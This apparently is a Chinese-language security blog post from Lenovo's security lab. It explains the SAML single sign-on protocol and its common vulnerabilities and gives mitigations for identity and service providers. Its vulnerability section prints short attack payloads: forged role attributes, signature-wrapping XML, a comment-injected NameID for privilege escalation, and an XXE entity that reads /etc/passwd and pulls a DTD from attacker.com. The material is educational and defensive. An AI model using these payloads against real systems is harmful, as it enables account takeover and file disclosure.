点击蓝字 关注我们
深入了解
SAML协议
及常见安全问题
在数字化时代，网络安全变得至关重要。安全断言标记语言（SAML）是一个关键技术标准，通过简化用户登录过程，帮助企业实现基于Web的单点登录（SSO），允许用户使用他们的企业凭据登录不同的应用程序和服务，以便减少向一个用户分发多个身份验证令牌的管理开销。然而，尽管SAML带来了便利，但也引入了一些安全挑战。事实上，大多数SAML安全漏洞源于服务提供商（SP）未能正确处理身份提供商（IdP）的响应，发生这种情况是因为 SAML SSO通常不是应用程序的核心价值功能，而且大多数开发人员对其实现方式并不熟悉。因此，了解SAML协议及其安全问题，对于构建安全的网络环境至关重要。本文将深入探讨SAML的工作原理，分析常见的安全漏洞，以帮助企业和开发者构建更安全的SAML SSO系统。
PART 01
协议主体
在 SAML 协议中定义了三种角色：
User Agent：用户代理，一般指自然人用户通过浏览器进行服务访问或者向其他服务提供者请求资源的的系统主体；
IDP（Identity Provider）：一种服务提供者，它创建、维护和管理主体的身份信息，并向联邦内的其他服务提供者提供主体身份验证；简称 IdP，身份提供方能够向 SP 发送身份断言，所谓身份断言就是由 SP签发的，可以标识某个人身份的 Token，只不过，在 SAML 协议中，这个 Token 的格式是 XML 形式的。还有一些其他的身份提供方，例如 Okta、SSOCircle、Auth0，他们都可以向 SP 返回身份断言。
SP（Service Provider）：一种服务提供者，通过解析IDP发出的身份认证断言，验证主体身份认证信息后，给主体或联邦内其他系统提供服务。简称 SP。什么是服务提供方？例如：阿里云控制台、腾讯云控制台、AWS 控制台这些都是服务提供方。
两个主体通过用户的浏览器进行信息交换。方式上，SP 可以返回带参数的重定向 HTTP 响应，让用户立刻通过参数将信息发给 IdP。而 IdP 会返回一个表单，同时还有一段立即提交表单的 JS 代码，从而让用户立刻将信息发给 SP。
总结一下，SP 提供服务，需要知道用户的身份，就需要向 IdP 询问。IdP 知道用户的身份，当用户在 IdP 登录成功，IdP 就将用户的身份以 SAML 断言的形式发给 SP。SP 信任 IdP 发来的身份断言，从而赋予该用户在 SP 的相关权限。
PART 02
协议流程
1）用户尝试访问受保护的资源，请求SAML协议登录
2）SP识别出用户未经过身份验证，并生成包含重定向URL的SAML请求。
3）SP将SAML请求发送给浏览器，浏览器将其重定向至IDP登录地址。
4）IDP解析SAML请求，返回一个表单，用户在表单中输入用户名和密码，并提交给IdP进行身份验证。
5）IdP验证用户信息，并将包含身份验证和授权信息的SAML响应发送回SP。
6）SP验证SAML响应，并授予用户访问受保护资源的权限。
PART 03
参数和属性
如下是测试中抓取到的SAML响应示例（敏感信息已进行脱敏处理）。
<samlp:Response ID="_b0b19d61-4504-46e1-8c04-23ce6e989160" Version="2.0" IssueInstant="2024-11-11T08:44:02.617Z" Destination="https://sp.lenovo.com/xxx/adfs" Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" InResponseTo="_98c0371c851facfd836f438e016900b1" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"><Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">http://idp.lenovo.com/adfs</Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" /></samlp:Status><Assertion ID="_59dc0a34-42bc-4630-99ff-8283d41a8173" IssueInstant="2024-11-11T08:44:02.617Z" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion"><Issuer>http://idp.lenovo.com/adfs</Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><ds:Reference URI="#_59dc0a34-42bc-4630-99ff-8283d41a8173"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><ds:DigestValue>F8LrXRaGGJu3bztX1ImWQSjEEtU3J5BtQA2CbgUMnk0=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>YQiitZkCrbu2v5DlI7guRzAyG55G6btW7iypkPVz4F6ogxacNO2jWSS6EK/UvW1zRJSm6YRD+dNOOSng44RjLVSdn7U4TUGhfnp1ZWsmSPt+u6yIrwvBL+091zx1Eqz1l4HjKMqiTq5sMJJaUh2hh13JfF2JYL9sKB6pnOO0Z26oUb45FO7P1DyZrg4AOMWNjicJIPwxsR5RKTAl+0E/ac3bJhAIlizk4Fzj1kffPs5HGbvNzG1QEEBgGpGiYmxNIOZVS8zGGtZIvFKOHXFy/dyXCvM05auoLoRbhFhIBjDIW0iDrkUTlXyOAUhK4raJY8q0//CckJq/Tje+/eFv/Q==</ds:SignatureValue><KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#"><ds:X509Data><ds:X509Certificate>MIIC3DCCAc......MhPWCUZpxJTWxQ==</ds:X509Certificate></ds:X509Data></KeyInfo></ds:Signature><Subject><SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><SubjectConfirmationData InResponseTo="_98c0371c851facfd836f438e016900b1" NotOnOrAfter="2024-11-11T08:49:02.617Z" Recipient="https://sp.lenovo.com/xxx/adfs" /></SubjectConfirmation></Subject><Conditions NotBefore="2024-11-11T08:44:02.617Z" NotOnOrAfter="2024-11-11T09:44:02.617Z"><AudienceRestriction><Audience>OnePortal-PROD</Audience></AudienceRestriction></Conditions><AttributeStatement><Attribute Name="itcode"><AttributeValue>xxx123</AttributeValue></Attribute><Attribute Name="email"><AttributeValue>[email protected]</AttributeValue></Attribute><Attribute Name="firstname"><AttributeValue>xx</AttributeValue></Attribute><Attribute Name="lastname"><AttributeValue>x</AttributeValue></Attribute><Attribute Name="displayname"><AttributeValue>xxx123</AttributeValue></Attribute><Attribute Name="employeetype"><AttributeValue>Regular Employee</AttributeValue></Attribute></AttributeStatement><AuthnStatement AuthnInstant="2024-11-11T08:44:02.601Z"><AuthnContext><AuthnContextClassRef>urn:federation:authentication:windows</AuthnContextClassRef></AuthnContext></AuthnStatement></Assertion></samlp:Response>
该断言是由 http://idp.lenovo.com/adfs （idp）在 2024-11-11 16:44:02 签发，其受众是 https://sp.lenovo.com/xxx/adfs （SP) ，并且断言仅在 2024-11-11 16:44:02 到 2024-11-11 17:44:02 时间内有效；断言中声明了当前账户itcode为“xxx123”，邮箱为“[email protected]”。
具体重要参数和属性如下：
① ID：全局唯一标识符，可用于防重放攻击。
例如，断言消费后将ID值b0b19d61-4504-46e1-8c04-23ce6e989160存入缓存中，缓存期限设定为断言的有效期截止日期即可，后续收到断言如果在有效期内，可以检查缓存中是否已经存在相同的ID，如果存在则可以认为是重放攻击，返回错误。
② Issuer：SAML 响应的发出者，idp。
③ Destination/Recipient：响应发送到的目的地/SAML 响应的接收者，SP。
④ Assertion：以唯一 ID 59dc0a34-42bc-4630-99ff-8283d41a8173 开始，通常包含用户身份信息以及其他用户属性，如名字/姓氏、电子邮件、ID 等，DigestValue通常从此处开始计算。
⑤ IssueInstant：签发时的时间戳。
⑥ DigestValue：消息验证码。
⑦ SignatureValue：数字签名，即使用idp私钥对SignedInfo进行加密后的值。
⑧ X509Certificate：验证数字签名的公钥证书。
身份校验具体步骤如下：
SP在接收到传入的Response后首先会对断言的的签名进行验证，通常有以下几个步骤：
·检查断言完整性，对断言进行格式转换（本例中使用的规范化算法是 http://www.w3.org/2001/10/xml-exc-c14n# ），计算断言的hash摘要（本例中使用的摘要算法是 http://www.w3.org/2001/04/xmlenc#sha256 ）并将计算结果与DigestValue内容进行对比，如果结果不同说明签名被篡改。
·SP 使用 IdP 的公钥来验证 SignedInfo 块上的签名（本例中使用的签名算法是 http://www.w3.org/2001/04/xmldsig-more#rsa-sha256 ）。如果签名有效，则确认 IdP 签署了该消息并且该消息未被修改。
·以上两个步骤同时满足时说明签名是合法的。
⑨ Conditions中的NotBefore和NotOnOrAfter：整个SAML断言有效期。
⑩ SubjectConfirmation中的NotOnOrAfter：用此SAML断言进行敏感操作（如换取敏感数据、用于证明用户身份的令牌和特定身份验证过程的结果）时的过期时间，用于提供更高级别的安全性。
PART 04
常见安全问题
1. 重放攻击
SAML重放攻击主要是由于
① SP端没有校验防止重放的参数（如全局唯一标识符ID）。
② 断言签发时未设置过期时间或SP端没有检测过期时间。
攻击者在截获idp签发的断言后，可以利用截获的断言向SP进行验证，获取访问权限。
2. 签名校验机制不完整
① 断言本身没有签名信息或SP端未对签名信息做任何校验。
如下图，假设SAML断言包含一个AttributeStatement，其中包括两个属性；一个是用户的itcode，另一个是用户的角色（viewer）。
<AttributeStatement><Attribute Name="itcode"><AttributeValue>xxx123</AttributeValue></Attribute><Attribute Name="role"><AttributeValue>viewer</AttributeValue></Attribute></AttributeStatement>
且断言中并未包含签名信息<Signature>，因此，攻击者可以尝试修改角色为administrator进行垂直越权。
<AttributeStatement><Attribute Name="itcode"><AttributeValue>xxx123</AttributeValue></Attribute><Attribute Name="role"><AttributeValue>administrator</AttributeValue></Attribute></AttributeStatement>
② 未明确只接受来自预定义安全算法列表的算法。
这种情况意味着攻击者可以将SAML响应中<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>的标签的算法属性修改为：
<ds:SignatureMethod Algorithm=""/>或者
<ds:SignatureMethod Algorithm="none"/>以此来绕过签名校验。
③ 没有使用本地可信副本校验 SAML 断言的架构（签名包装攻击）。
这种情况通常涉及到在SAML文档中插入额外的元素，或者改变元素的顺序，使得签名仍然指向原始元素从而绕过签名校验。示例如下：
在原始断言结构中插入<Assertion ID="bbb"></Assertion>伪造的未签名元素。
<Response ID="001"><Assertion ID="bbb">...</Assertion><Assertion ID="aaa"><Signature><SignedInfo><Reference URI="#xxx">...</Reference></SignedInfo></Signature></Assertion></Response>
在这种情况下，如果未找到签名，SP 的安全逻辑可能会跳过 XML-DSig 验证。
亦或者，如果SP端未使用绝对XPath表达式来选择元素：
假设SP端使用 doc.getElementsByTagName(“Signature”)[0] 来选择签名，那么返回的签名将验证成功，但实际 doc.getElementsByTagName(“Assertion”)[0] 返回和处理的断言将是注入的id为 bbb 的断言。同样，在CVE-2024-45409漏洞中，低版本的Ruby-SAML 库使用下面XPath代码选择DigestValue 元素：
encoded_digest_value = REXML::XPath.first(ref,"//ds:DigestValue",{ "ds" => DSIG })
该漏洞允许我们绕过签名验证，如下所示：
1) 我们在 samlp:extensions 元素中插入修改后的断言的 DigestValue。
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...><saml:Issuer>...</saml:Issuer><samlp:Extensions><DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">ModifiedDigestValue</DigestValue></samlp:Extensions>……</samlp:Response>
2) XPath 选择器将提取这个攻击者注入的 DigestValue，而不是来自 SignedInfo 块的 DigestValue。
3) 由于 SignedInfo 块本身没有被修改，因此通过了签名检查，但实际的断言内容可能已被篡改。
3. 未对断言的接收方进行校验。
上文提到SAML协议是用于实现基于网络跨域的单点登录（SSO）的。SSO是在多个应用系统中，用户只需登录一次就可以访问所有相互信任的应用系统。因此，如果IdP对应用系统中的所有SP使用共享的私有签名密钥，而不是为每个应用程序颁发唯一的密钥的话，那么攻击者可以登录其它应用程序截获身份验证的断言，然后将这个断言发送给攻击目标进行身份验证，从而实现未经授权的横向移动。
4. 对注释处理不当
在有些情况下，SP会在XML-DSig签名校验之前删除注释，因此攻击者可以通过插入注释的方式绕过身份校验，示例如下：
假设[email protected]为目标应用程序的管理员账户，攻击者创建的普通用户账户为[email protected]，利用普通用户账户进行登录，同时截获断言并以添加注释的方式修改断言中的身份信息。
<Assertion ID="id123"><Signature><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><Reference URI="#id123"></SignedInfo><SignatureValue>...</SignatureValue><KeyInfo>...</KeyInfo></Signature><Subject><NameID>[email protected]<!---->attacker.com</NameID></Subject></Assertion>
由于规范化算法会使SP会在XML-DSig签名校验之前删除注释，所以修改后的断言并不会使签名失效。因此，在断言通过校验后，SP会检查哪个用户正在进行身份验证。它的SAML库从NameID元素中获取用户标识符，但如果它错误地只读取元素第一个节点的内部文本（如使用name_id = tree.xpath('//NameID/text()')[0]），则返回[email protected]，然后SP确定[email protected]确实是一个用户，至此提权成功。
5.XXE
SAMl协议是基于XML的，所以对于XML的攻击对SAML协议同样有效，示例如下：
<!ELEMENT foo ANY ><!ENTITY file SYSTEM "file:///etc/passwd"><!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]><samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...><saml:Issuer>...</saml:Issuer>……</samlp:Response>
PART 05
安全措施
安全使用SAML协议需要SP和idp共同使用安全配置和一些安全验证手段。
idp注意事项：
（1）确保加密算法的兼容性和加密强度
（2）尽可能使用/信任根 CA
（3）同步到一个共同的互联网时间源，并且为断言配置合理的有效时间
（4）在身份声明中不要出现敏感信息
（5）对每个单独的断言或整个响应元素进行签名
SP注意事项：
（1）验证用户的会话状态
（2）确保每个断言或整个响应元素都进行了签名
（3）验证签名
（4）验证是否由授权的 IDP 签名
（5）验证IDP证书是否过期
（6）验证断言的有效时间，即NotBefore和NotOnorAfter参数
（7）验证断言的接收方，即断言中的Recipient属性
（8）尽可能验证从断言中获取的用户身份
（9）始终使用本地、受信任的SMAL副本来验证接收到的SAML响应结构
（10）始终使用绝对 XPath 表达式来选择SAML响应中的元素
总结
虽然SAML为实现Web基于的SSO提供了有效的解决方案，但同时也需要注意其相关的安全问题。通过增强对SAML协议的理解和采取适当的安全措施，可以最大限度地减少安全风险，保护用户数据安全。开发者和组织必须认识到，安全不仅是技术的问题，更是一个持续的过程。实施SAML时，应采取全面的安全策略，包括定期的安全培训、更新和审计。最终，通过综合性的安全措施，可以确保SAML SSO系统不仅提供便利，而且能够抵御日益复杂的网络安全威胁。
往期精彩合集
● Windows中压缩包可能出现的安全问题及相关缓解方案参考
长
按
关
注
联想GIC全球安全实验室（中国）
原文始发于微信公众号（联想全球安全实验室）：深入了解SAML协议及常见安全问题
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论